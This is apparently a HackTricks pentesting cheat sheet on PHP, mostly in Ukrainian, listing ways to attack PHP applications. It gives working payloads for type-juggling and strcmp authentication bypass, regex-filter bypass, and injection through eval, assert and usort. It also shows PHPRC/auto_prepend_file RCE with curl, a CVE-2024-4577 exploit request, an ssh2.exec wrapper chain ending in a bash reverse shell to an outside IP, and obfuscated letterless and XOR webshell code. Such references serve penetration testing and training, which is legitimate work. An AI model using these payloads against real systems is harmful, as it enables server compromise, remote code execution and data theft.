PHP Tricks
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Cookies: поширені розташування:
Це також стосується phpMyAdmin cookies.
Cookies:
PHPSESSID
phpMyAdmin
Розташування:
/var/lib/php/sessions
/var/lib/php5/
/tmp/
Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e
Обхід порівнянь PHP
Loose comparisons/Type Juggling ( == )
Якщо в PHP використовується ==, можуть виникати непередбачувані випадки, коли порівняння не працює так, як очікується. Це тому, що == порівнює лише значення, перетворені до одного типу; якщо ви також хочете порівнювати типи даних, потрібно використовувати ===.
PHP comparison tables: https://www.php.net/manual/en/types.comparisons.php
.png)
"string" == 0 -> TrueРядок, який не починається з числа, дорівнює числу"0xAAAA" == "43690" -> TrueРядки, складені з чисел у десятковому або шістнадцятковому форматі, можуть порівнюватися з іншими числами/рядками з результатом True, якщо числа однакові (числа в рядку інтерпретуються як числа)"0e3264578" == 0 --> TrueРядок, що починається з “0e” і за яким іде будь-що, буде дорівнювати 0"0X3264578" == 0X --> TrueРядок, що починається з “0” за яким іде будь-яка літера (X може бути будь-якою літерою) і далі будь-що, буде дорівнювати 0"0e12334" == "0" --> TrueЦе дуже цікаво, бо в деяких випадках ви контролюєте рядок “0” і деякий контент, який хешується і порівнюється з ним. Отже, якщо ви можете подати значення, яке дасть хеш, що починається з “0e” і не містить літер, ви зможете обійти порівняння. Ви можете знайти вже захешовані рядки з таким форматом тут: https://github.com/spaze/hashes"X" == 0 --> TrueБудь-яка літера в рядку дорівнює цілому числу 0
More info in https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09
in_array()
Type Juggling також впливає на функцію in_array() за замовчуванням (вам потрібно встановити третій аргумент у true, щоб зробити строге порівняння):
$values = array("apple","orange","pear","grape");
var_dump(in_array(0, $values));
//True
var_dump(in_array(0, $values, true));
//False
strcmp()/strcasecmp()
Якщо ця функція використовується для будь-якої перевірки автентифікації (наприклад, перевірки пароля) і користувач контролює одну сторону порівняння, він може відправити порожній масив замість рядка як значення пароля (https://example.com/login.php/?username=admin&password[]=) і обійти цю перевірку:
if (!strcmp("real_pwd","real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password
if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password
Та сама помилка виникає з strcasecmp()
Строгий type Juggling
Навіть якщо === використовується, можуть бути помилки, які роблять порівняння вразливим до type juggling. Наприклад, якщо порівняння перетворює дані в інший тип об’єкта перед порівнянням:
(int) "1abc" === (int) "1xyz" //This will be true
preg_match(/^.*/)
preg_match() може бути використано для валідації user input (воно перевіряє, чи будь-яке word/regex зі blacklist присутнє у user input, і якщо ні, код може продовжити своє виконання).
New line bypass
Однак при відмежуванні початку regexppreg_match() перевіряє лише перший рядок user input, тому якщо якимось чином ви можете відправити введення у декілька рядків, це може дозволити обійти цю перевірку. Приклад:
$myinput="aaaaaaa
11111111"; //Notice the new line
echo preg_match("/1/",$myinput);
//1 --> In this scenario preg_match find the char "1"
echo preg_match("/1.*$/",$myinput);
//1 --> In this scenario preg_match find the char "1"
echo preg_match("/^.*1/",$myinput);
//0 --> In this scenario preg_match DOESN'T find the char "1"
echo preg_match("/^.*1.*$/",$myinput);
//0 --> In this scenario preg_match DOESN'T find the char "1"
Щоб обійти цю перевірку, ви можете відправити значення з переносами рядків urlencoded (%0A) або, якщо ви можете відправляти JSON data, відправте його у кількох рядках:
{
"cmd": "cat /etc/passwd"
}
Приклад дивіться тут: https://ramadistra.dev/fbctf-2019-rceservice
Length error bypass
(Цей bypass, судячи з усього, був випробуваний на PHP 5.2.5, і я не зміг змусити його працювати на PHP 7.3.15)
Якщо ви зможете передати в preg_match() валідні, дуже великі вхідні дані, воно не зможе їх обробити, і ви зможете bypass перевірку. Наприклад, якщо робиться blacklisting a JSON, ви могли б надіслати:
payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}'
From: https://medium.com/bugbountywriteup/solving-each-and-every-fb-ctf-challenge-part-1-4bce03e2ecb0
ReDoS Bypass
Trick from: https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223 and https://mizu.re/post/pong
.png)
Коротко: проблема виникає тому, що функції preg_* в PHP базуються на PCRE library. У PCRE деякі регулярні вирази підбираються з великою кількістю рекурсивних викликів, що витрачає багато пам’яті стеку. Можна встановити ліміт на кількість допустимих рекурсій, але в PHP цей ліміт defaults to 100.000, що більше, ніж поміщається в стеку.
This Stackoverflow thread також був наведений у дописі, де ця проблема розглядається детальніше. Наша задача стала зрозумілою:\
Надіслати вхідні дані, які змусили б regex виконати понад 100_000 рекурсій, спричинити SIGSEGV, змусити функцію preg_match() повернути false, через що застосунок подумає, що наш ввід не є зловмисним, і вкинути наприкінці payload сюрприз, щось на кшталт {system(<verybadcommand>)}, щоб отримати SSTI –> RCE –> flag :).
Ну, у термінах regex, ми насправді не робимо 100k “recursions”, натомість ми рахуємо “backtracking steps”, які, як зазначено в PHP documentation, за замовчуванням дорівнюють 1_000_000 (1M) у змінній pcre.backtrack_limit.\
Щоб досягти цього, 'X'*500_001 призведе до 1 million backtracking steps (500k forward and 500k backwards):
payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}"
Неявне приведення типів для PHP obfuscation
$obfs = "1"; //string "1"
$obfs++; //int 2
$obfs += 0.2; //float 2.2
$obfs = 1 + "7 IGNORE"; //int 8
$obfs = "string" + array("1.1 striiing")[0]; //float 1.1
$obfs = 3+2 * (TRUE + TRUE); //int 7
$obfs .= ""; //string "7"
$obfs += ""; //int 7
Execute After Redirect (EAR)
Якщо PHP перенаправляє на іншу сторінку, але жодна функція die або exit не викликається після встановлення заголовка Location, PHP продовжує виконання та додає дані до тіла:
<?php
// In this page the page will be read and the content appended to the body of
// the redirect response
$page = $_GET['page'];
header('Location: /index.php?page=default.html');
readfile($page);
?>
Path Traversal and File Inclusion Exploitation
Перевірте:
Більше трюків
- register_globals: У PHP < 4.1.1.1 або при неправильній конфігурації register_globals може бути активним (або його поведінку імітують). Це означає, що в глобальних змінних, таких як $_GET, якщо вони мають значення, наприклад $_GET[“param”]=“1234”, ви можете звертатися до нього через $param. Таким чином, надсилаючи HTTP-параметри, ви можете перезаписати змінні, які використовуються в коді.
- The PHPSESSION cookies of the same domain are stored in the same place, тому якщо в межах одного домену різні cookies використовуються в різних шляхах, ви можете зробити так, щоб один шлях зчитував cookie іншого шляху, встановивши значення cookie для іншого шляху.
Таким чином, якщо обидва шляхи звертаються до змінної з однаковим ім’ям, ви можете зробити так, щоб значення цієї змінної в path1 застосовувалось до path2. І тоді path2 вважатиме змінні path1 валідними (надавши cookie ім’я, що відповідає йому в path2). - Коли у вас є usernames користувачів машини, перевірте адресу: /~<USERNAME>, щоб визначити, чи активовані php-директорії.
- Якщо в конфігурації php встановлено
register_argc_argv = On, то query params, розділені пробілами, використовуються для заповнення масиву аргументівarray_keys($_SERVER['argv']), ніби це були arguments from the CLI. Це цікаво, тому що якщо це налаштування вимкнене, значення args array будеNull, коли викликається з вебу, оскільки масив args не буде заповнений. Тому, якщо веб-сторінка перевіряє, чи працює вона як веб або як CLI-утиліта порівнянням на кшталтif (empty($_SERVER['argv'])) {, нападник може надіслати параметри в GET-запиті типу?--configPath=/lalalaі сторінка помилково вважатиме, що виконується як CLI, а отже потенційно пропарсить і використає ці аргументи. Більше інформації в original writeup. - LFI and RCE using php wrappers
password_hash/password_verify
Ці функції зазвичай використовуються в PHP, щоб згенерувати хеші з паролів та перевірити, чи пароль правильний у порівнянні з хешем.
Підтримувані алгоритми: PASSWORD_DEFAULT та PASSWORD_BCRYPT (починається з $2y$). Зверніть увагу, що PASSWORD_DEFAULT часто є тим самим, що і PASSWORD_BCRYPT. І наразі PASSWORD_BCRYPT має обмеження розміру вхідних даних у 72bytes. Тому, коли ви намагаєтеся захешувати щось більше за 72bytes цим алгоритмом, буде використано лише перші 72B:
$cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
False
$cont=72; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
True
HTTP headers bypass abusing PHP errors
Causing error after setting headers
З this twitter thread видно, що при відправленні більше ніж 1000 GET params або 1000 POST params або 20 files, PHOP не встановлюватиме headers у відповіді.
Дозволяє, наприклад, обійти встановлення CSP headers у коді на кшталт:
<?php
header("Content-Security-Policy: default-src 'none';");
if (isset($_GET["xss"])) echo $_GET["xss"];
Заповнення тіла перед встановленням заголовків
Якщо PHP-сторінка виводить помилки й повертає частину введених користувачем даних, користувач може змусити PHP-сервер вивести достатньо довгий вміст, щоб під час спроби додати заголовки до відповіді сервер викликав помилку.
У наведеному сценарії зловмисник змусив сервер видати великі помилки, і, як видно на скриншоті, коли PHP спробував змінити інформацію заголовків, йому це не вдалося (наприклад, CSP заголовок не був відправлений користувачу):
.png)
SSRF in PHP functions
Перегляньте сторінку:
ssh2.exec stream wrapper RCE
When the ssh2 extension is installed (ssh2.so visible under /etc/php*/mods-available/, php -m, or even an FTP-accessible php8.1_conf/ directory), PHP registers ssh2.* wrappers that can be abused anywhere user input is concatenated into fopen()/file_get_contents() targets. An admin-only download helper such as:
$wrapper = strpos($_GET['format'], '://') !== false ? $_GET['format'] : '';
$file_content = fopen($wrapper ? $wrapper . $file : $file, 'r');
достатньо, щоб виконувати shell-команди через localhost SSH:
GET /download.php?id=54&show=true&format=ssh2.exec://yuri:mustang@127.0.0.1:22/ping%2010.10.14.6%20-c%201#
- Частина облікових даних може повторно використовувати будь-який leaked system password (наприклад, отриманий із cracked bcrypt hashes).
- Символ
#в кінці коментує серверний суфікс (files/<id>.zip), тож виконується тільки ваша команда. - Blind RCE підтверджується спостереженням за вихідним трафіком за допомогою
tcpdump -ni tun0 icmpабо розміщенням HTTP canary.
Замініть команду на reverse shell payload після підтвердження:
format=ssh2.exec://yuri:mustang@127.0.0.1:22/bash%20-c%20'bash%20-i%20>&%20/dev/tcp/10.10.14.6/443%200>&1'#
Оскільки все відбувається всередині PHP worker, TCP-з’єднання походить від цілі й успадковує привілеї інжектованого облікового запису (yuri, eric тощо).
Виконання коду
system(“ls”);ls;
shell_exec(“ls”);
Check this for more useful PHP functions
RCE через preg_replace()
preg_replace(pattern,replace,base)
preg_replace("/a/e","phpinfo()","whatever")
Щоб виконати код у аргументі “replace”, потрібен щонайменше один збіг.
Ця опція функції preg_replace була визнана застарілою починаючи з PHP 5.5.0.
RCE via Eval()
'.system('uname -a'); $dummy='
'.system('uname -a');#
'.system('uname -a');//
'.phpinfo().'
<?php phpinfo(); ?>
RCE через Assert()
Ця функція в php дозволяє вам виконувати код, записаний у рядку, щоб повертати true або false (і залежно від цього змінювати виконання). Зазвичай змінна від користувача буде вставлена посеред рядка. Наприклад:assert("strpos($_GET['page']),'..') === false") –> У цьому випадку, щоб отримати RCE ви можете зробити:
?page=a','NeVeR') === false and system('ls') and strpos('a
Вам потрібно зламати code синтаксис, додати свій payload, а потім виправити це знову. Ви можете використовувати логічні операції такі як “and” or “%26%26” or “|”. Зверніть увагу, що “or”, “||” не працюють, бо якщо перша умова істинна наш payload не буде виконано. Так само “;” не працює, оскільки наш payload не буде виконано.
Інший варіант — додати до рядка виконання команди: '.highlight_file('.passwd').'
Інший варіант (якщо у вас є internal code) — змінити деяку змінну, щоб змінити виконання: $file = "hola"
RCE via usort()
Ця функція використовується для сортування масиву елементів з використанням певної функції.
Щоб зловживати цією функцією:
<?php usort(VALUE, "cmp"); #Being cmp a valid function ?>
VALUE: );phpinfo();#
<?php usort();phpinfo();#, "cmp"); #Being cmp a valid function ?>
<?php
function foo($x,$y){
usort(VALUE, "cmp");
}?>
VALUE: );}[PHP CODE];#
<?php
function foo($x,$y){
usort();}phpinfo;#, "cmp");
}?>
You can also use // to comment the rest of the code.
Щоб дізнатись кількість дужок, які потрібно закрити:
?order=id;}//: ми отримуємо повідомлення про помилку (Parse error: syntax error, unexpected ';'). Можливо нам бракує однієї або більше дужок.?order=id);}//: ми отримуємо warning. Схоже на те, що потрібно.?order=id));}//: ми отримуємо повідомлення про помилку (Parse error: syntax error, unexpected ')' i). Ймовірно, у нас занадто багато закриваючих дужок.
RCE via .httaccess
If you can upload a .htaccess, then you can configure several things and even execute code (configuring that files with extension .htaccess can be executed).
Different .htaccess shells can be found here
RCE via Env Variables
Якщо ви знайдете вразливість, яка дозволяє змінювати env variables у PHP (і ще одну — для завантаження файлів, хоча за додатковими дослідженнями це можливо обійти), ви можете зловживати цією поведінкою, щоб отримати RCE.
LD_PRELOAD: ця змінна оточення дозволяє завантажувати довільні бібліотеки при виконанні інших бінарних файлів (хоча в цьому випадку це може не спрацювати).PHPRC: Вказує PHP, де знаходиться його файл конфігурації, зазвичайphp.ini. Якщо ви можете завантажити власний конфігураційний файл, використайтеPHPRC, щоб вказати PHP на нього. Додайте записauto_prepend_file, що вказує на другий завантажений файл. Цей другий файл містить звичайний PHP-код, який потім виконується середовищем виконання PHP перед будь-яким іншим кодом.
- Upload a PHP file containing our shellcode
- Upload a second file, containing an
auto_prepend_filedirective instructing the PHP preprocessor to execute the file we uploaded in step 1 - Set the
PHPRCvariable to the file we uploaded in step 2.
- Get more info on how to execute this chain from the original report.
- PHPRC - ще один варіант
- Якщо ви cannot upload files, ви можете у FreeBSD використати файл
/dev/fd/0, який міститьstdin, тобто body запиту, відправленого вstdin: curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'- Або щоб отримати RCE, увімкніть
allow_url_includeі препендніть файл із PHP-кодом у base64: curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'- Technique from this report.
XAMPP CGI RCE - CVE-2024-4577
The webserver parses HTTP requests and passes them to a PHP script executing a request such as as http://host/cgi.php?foo=bar as php.exe cgi.php foo=bar, which allows a parameter injection. This would allow to inject the following parameters to load the PHP code from the body:
-d allow_url_include=1 -d auto_prepend_file=php://input
Крім того, можливо інжектувати параметр “-” за допомогою символу 0xAD через пізнішу нормалізацію PHP. Перегляньте приклад експлойту з this post:
POST /test.php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1
Host: {{host}}
User-Agent: curl/8.3.0
Accept: */*
Content-Length: 23
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
<?php
phpinfo();
?>
PHP Sanitization bypass & Brain Fuck
In this post можна знайти чудові ідеї для генерації brain fuck PHP-коду при дозволі використовувати дуже мало символів.
Крім того, там також запропоновано цікавий спосіб виконання функцій, що дозволив їм bypass кількох перевірок:
(1)->{system($_GET[chr(97)])}
PHP Static analysis
Перевірте, чи можете вставити код у виклики цих функцій (з here):
exec, shell_exec, system, passthru, eval, popen
unserialize, include, file_put_cotents
$_COOKIE | if #This mea
If you are debugging a PHP application you can globally enable error printing in/etc/php5/apache2/php.ini adding display_errors = On and restart apache : sudo systemctl restart apache2
Deobfuscating PHP code
Можна використовувати веб-сайт www.unphp.net для деобфускування PHP-коду.
PHP Wrappers & Protocols
PHP Wrappers and Protocols можуть дозволити вам bypass write and read protections у системі і скомпрометувати її. Для детальнішої інформації див. цю сторінку.
Xdebug unauthenticated RCE
Якщо ви бачите у виводі phpconfig() що Xdebug увімкнено, слід спробувати отримати RCE через https://github.com/nqxcode/xdebug-exploit
Variable variables
$x = 'Da';
$$x = 'Drums';
echo $x; //Da
echo $$x; //Drums
echo $Da; //Drums
echo "${Da}"; //Drums
echo "$x ${$x}"; //Da Drums
echo "$x ${Da}"; //Da Drums
RCE abusing new $_GET[“a”]($_GET[“b”])
Якщо на сторінці ви можете створити новий об’єкт довільного класу, ви можете отримати RCE — перегляньте наступну сторінку, щоб дізнатися як:
Php Rce Abusing Object Creation New Usd Get A Usd Get B
Execute PHP without letters
https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/
Використання вісімкової системи
$_="\163\171\163\164\145\155(\143\141\164\40\56\160\141\163\163\167\144)"; #system(cat .passwd);
XOR
$_=("%28"^"[").("%33"^"[").("%34"^"[").("%2c"^"[").("%04"^"[").("%28"^"[").("%34"^"[").("%2e"^"[").("%29"^"[").("%38"^"[").("%3e"^"["); #show_source
$__=("%0f"^"!").("%2f"^"_").("%3e"^"_").("%2c"^"_").("%2c"^"_").("%28"^"_").("%3b"^"_"); #.passwd
$___=$__; #Could be not needed inside eval
$_($___); #If ¢___ not needed then $_($__), show_source(.passwd)
XOR простий shellcode
Згідно з this writeup , таким чином можна згенерувати простий shellcode:
$_="`{{{"^"?<>/"; // $_ = '_GET';
${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]);
$_="`{{{"^"?<>/";${$_}[_](${$_}[__]); // $_ = '_GET'; $_GET[_]($_GET[__]);
Отже, якщо ви можете execute arbitrary PHP without numbers and letters, ви можете надіслати запит, як показано нижче, зловживаючи цим payload, щоб виконати arbitrary PHP:
POST: /action.php?_=system&__=cat+flag.php
Content-Type: application/x-www-form-urlencoded
comando=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);
Для детальнішого пояснення перегляньте https://ctf-wiki.org/web/php/php/#preg_match
XOR Shellcode (inside eval)
#!/bin/bash
if [[ -z $1 ]]; then
echo "USAGE: $0 CMD"
exit
fi
CMD=$1
CODE="\$_='\
lt;>/'^'{{{{';\${\$_}[_](\${\$_}[__]);" `$_='
lt;>/'^'{{{{'; --> _GET` `${$_}[_](${$_}[__]); --> $_GET[_]($_GET[__])` `So, the function is inside $_GET[_] and the parameter is inside $_GET[__]` http --form POST "http://victim.com/index.php?_=system&__=$CMD" "input=$CODE"
Подібне до Perl
<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;
$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;
$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);
Посилання
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
HackTricks

